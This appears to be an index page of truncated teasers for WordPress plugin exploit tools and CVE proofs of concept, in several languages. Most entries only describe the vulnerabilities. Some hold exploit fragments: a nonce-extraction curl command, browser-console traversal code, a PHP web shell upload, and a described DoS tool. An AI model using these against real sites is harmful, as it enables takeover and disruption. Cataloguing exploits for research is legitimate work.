cve-2026-15748

CVE-2026-15748 — Forminator Forms RCE non autenticata Realizzato da Yora Solo per test didattici e autorizzati 📌 Descrizione CVE-2026-15748 è una vulnerabilità relativa al plugin Forminator su WordPress. Questo tool è stato creato per supportare ricerca sulla sicurezza e test autorizzati su...

PT-2026-81951

Name of the Vulnerable Software and Affected Versions Avada versions prior to 7.16.1 Fusion Builder versions prior to 3.16.1 Description An unauthenticated attacker can achieve remote code execution and complete site compromise by writing attacker-controlled PHP files to the server. This is...

Wordpress_cve-2019-9787_defense

Wordpresscve-2019-9787defense Avviso Questo è un progetto di Sijia Zhanghttps://github.com/sijiahi e Bowen Zhouhttps://github.com/KonjakZhou Prerequisiti: 1 Riproduzione dell'attacco: root@kitploit: - Configura e installa Wordpress5.0 su http://localhost/wp-admin/; - Accedi a Wordpress come...

CVE-2025-13390

WP Directory Kit = 1.4.4 - Bypass de Autenticação para Escalação de Privilégios via Account Takeover Resumo O plugin WP Directory Kit para Wordpress versão 1.4.4 e anteriores contém um bypass de autenticação na sua funcionalidade de auto-login. A vulnerabilidade permite que atacantes não...

Shiva

Shiva Em primeiro lugar, coloque Shiva sob vigilância. Eu irei atualizá-lo para uma suíte completa de testes de estresse ao longo do tempo. Shiva foi projetado para realizar ataques de Negação de Serviço DOS em sites WordPress, carregando todos os scripts jQuery de uma só vez através do...

CVE-2025-11988

1 Estrarre il nonce pubblico cryptoajax root@kitploit: UA='Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:127.0 Gecko/20100101 Firefox/127.0' PAGEURL='http://localhost/wordpress//' NONCE=$curl -s "$PAGEURL" -A "$UA" | \ perl -0777 -ne 'print "$1\n" if /cryptoconnectChainAjax\s=\s^"nonce"\s:\s"^"+"/s...

CVE-2025-14124

CVE-2025-14124 WordPress Team Plugin - Nicht authentifizierte SQL-Injection Autor: Hyun Chiya Schwachstelleninformationen...

CVE-2025-10307

Exploit: Cancellazione di file arbitraria tramite Backuply tarfile path traversal PoC da console del browser admin autenticato root@kitploit: async = const page = $location.origin/wordpress/wp-admin/admin.php?page=backuply; // 1 Extract a valid nonce from the Backuply page const html = await...

CVE-2019-9978-RCE-PoC

CVE-2019-9978 RCE PoC – Exploit del Plugin Social Warfare per WordPress Inclusione Remota di File RFI non autenticata verso Esecuzione Remota di Codice RCE 📌 Descrizione Questo repository contiene un Proof of Concept PoC basato su Python che dimostra lo sfruttamento di CVE-2019-9978 , una...

CVE-2025-12973

S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Generatore di Contenuti e Immagini = 1.7.7 - Autenticato Editor+ Caricamento Arbitrario di File Il plugin WordPress S2B AI Assistant versioni 2.47 e precedenti contiene una vulnerabilità di caricamento arbitrario di file che consente agli utenti...

CVE-2025-14736

CVE-2025-14736 Frontend Admin by DynamiApps - Escalation dei privilegi non autenticata Autore: Hyun Chiya Informazioni sulla vulnerabilità Campo| Valore ---|--- ID CVE| CVE-2025-14736 Plugin| Frontend Admin by DynamiApps Versioni interessate| B"Extract Nonce acfnonce & Form ID acfform" B --...

CVE-2025-13380

AI Engine for WordPress: ChatGPT, GPT Content Generator = 1.0.1 - Lettura Arbitraria di File per utenti autenticati Contributor+ Il plugin AI Engine for WordPress contiene una vulnerabilità nella funzionalità di inserimento immagini che consente a qualsiasi utente autenticato con capacità di...

CVE-2025-13374

Kalrav AI Agent = 2.3.3 - Caricamento Arbitrario di File non Autenticato tramite Azione AJAX kalravuploadfile Il plugin WordPress Kalrav AI Agent versione 2.3.3 e precedenti contiene una vulnerabilità di caricamento arbitrario di file che consente a utenti non autenticati di caricare file PHP...

CVE-2025-13597

AI Feeds = 1.0.11 - رفع ملف تعسفي غير مصادق عليه يحتوي إضافة ووردبريس AI Feeds في الإصدارات 1.0.11 وما دون على ثغرة تنفيذ تعليمات برمجية عن بُعد غير مصادق عليها في ملف actualizadorgit.php. يمكن الوصول إلى هذا الملف مباشرة عبر HTTP دون أي تحقق من المصادقة أو التفويض، مما يسمح للمهاجمين غير المصادق...

CVE-2025-9209

🍔 RestroPress – Online Food Ordering System 3.0.0 - 3.1.9.2 🛡️ CVE-2025-9209.py — Ferramenta de Exploração e Extração Automática em Massa ⚠️ Visão Geral da Vulnerabilidade RestroPress – Online Food Ordering System as versões 3.0.0 a 3.1.9.2 são afetadas por uma Exposição de Informações sem...

CVE-2025-48148

CVE-2025-48148 StoreKeeper for WooCommerce = 14.4.4 - Upload Arbitrário de Arquivo Não Autenticado 🚀 StoreKeeper for WooCommerce = 14.4.4 - Exploit de Upload Arbitrário de Arquivo Não Autenticado 📝 Descrição O plugin StoreKeeper for WooCommerce para WordPress é vulnerável a uploads arbitrários de...

CVE-2025-8359

CVE-2025-8359 AdForest Repo: Nxploited/CVE-2025-8359 Script di exploit: CVE-2025-8359.py 📋 Descrizione CVE: CVE-2025-8359 Tipo di vulnerabilità: Bypass dell'autenticazione Prodotto interessato: AdForest - Tema WordPress per Annunci Classificati Versioni interessate: Fino alla 6.0.9 inclusa...

CVE-2025-9286

CVE-2025-9286 Appy Pie Connect for WooCommerce = 1.1.2 - Fehlende Autorisierung zu nicht authentifizierter Privilegienerweiterung ⚠️ Appy Pie Connect for WooCommerce = 1.1.2 - Fehlende Autorisierung zu nicht authentifizierter Privilegienerweiterung über resetuserpassword 📝 Beschreibung Das Plugin...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ Die Shell ausnutzen, soba...

CVE-2025-13595

CIBELES AI = 1.10.8 - बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड Cibeles AI WordPress प्लगइन के संस्करण 1.10.8 और उससे नीचे में actualizadorgit.php फ़ाइल में एक बिना प्रमाणीकरण वाली रिमोट कोड निष्पादन भेद्यता मौजूद है। यह फ़ाइल बिना किसी प्रमाणीकरण या प्राधिकरण जांच के HTTP के माध्यम से सीधे एक्सेस की...